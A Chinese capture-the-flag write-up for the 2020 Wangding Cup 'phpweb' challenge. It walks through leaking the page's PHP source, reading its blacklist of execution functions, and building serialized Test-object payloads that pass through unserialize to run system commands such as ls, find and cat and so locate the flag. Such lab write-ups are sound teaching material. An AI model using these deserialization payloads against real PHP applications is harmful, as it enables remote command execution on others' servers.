反序列化 [网鼎杯 2020 朱雀组]phpweb 1
打开题目
我们发现这个页面一直在不断的刷新
我们bp抓包一下看看
我们发现index.php用post方式传了两个参数上去,func和p
我们需要猜测func和p两个参数之间的关系,可以用php函数MD5测一下看看
我们在响应处得到了一串密文,md5解密一下看看
发现页面回响的内容就是123的md5加密后的内容
那我们直接看看能不能执行system函数
可以看到system函数被过滤掉了
那我们尝试一下能不能直接读取到网站源代码
file_get_contents()
得到
代码如下
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
我们代码审计一下
?$func = $_REQUEST["func"];
??? $p = $_REQUEST["p"];??? if ($func != null) {?????????????????? //判断func不为空
??????? $func = strtolower($func);???? //将func转换为小写
??????? if (!in_array($func,$disable_fun)) {???? //搜索func是否含有黑名单的值
??????????? echo gettime($func, $p);?????????? //如果func没有存在黑名单的值,就执行gettime函数
??????? }else {
??????????? die("Hacker...");???????????? //有则输出Hacker
?function gettime($func, $p) {
??????? $result = call_user_func($func, $p);??????? //这里可以看出是回调函数
??????? $a= gettype($result);????????????????????? //这里用gettype函数对result处理后赋值给a
??????? if ($a == "string") {??????????????????????????? //如果a的类型是字符串
??????????? return $result;?????????????????????????????? //返回reslut的结果
??????? } else {return "";}??????????????????????????? //否则返回空值
那咱们就可以使用反序列化,因为我们这个命令是用不了的,func有很多黑名单限制
构造payload
<?php
class Test {
var $p = "ls";
var $func = "system";
}
$a = new Test();
echo serialize($a);
?>
用phpstudy打开得到payload
payload为
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
得到
修改payload
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
还是没找到flag
继续修复payload,其中 flag*
是一个通配符,表示以 "flag" 开头的文件名。
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
直接读取flag
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
或者readfile
func=readfile&p=/tmp/flagoefiu4r93
知识点
- 读取网站源代码的函数有
file_get_contents()
show_source()
highlight_file()
- strtolower()函数
在PHP中,字符串函数strtolower () 将字符串转化为小写
- in_array()函数
in_array() 函数搜索数组中是否存在指定的值。
- call_user_func函数
call_user_func — 把第一个参数作为回调函数调用
详情参考:PHP: call_user_func - Manual
- gettype函数
gettype()函数,必须先给它传递一个变量。它将确定变量的类型并且返回一个包含类型名称的字符串:bool、int、double、string、array、object和resource。如果变量类型不是标准类型之一,该函数就会返回“ unknown type(未知类型)”。
- 读取文件内容的命令
cat filename
readfile filename
- 查找文件的命令
详情见:Linux下查找文件(find、grep命令)_linux查找文件_GG_Bond19的博客-CSDN博客
find 路径 -name "文件名"
例如
find / -name flag*
其中
flag*
是一个通配符,表示以 "flag" 开头的文件名。find / -name .*txt
其中
.*txt
是一个通配符,表示以 ".txt" 结尾的隐藏文件
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!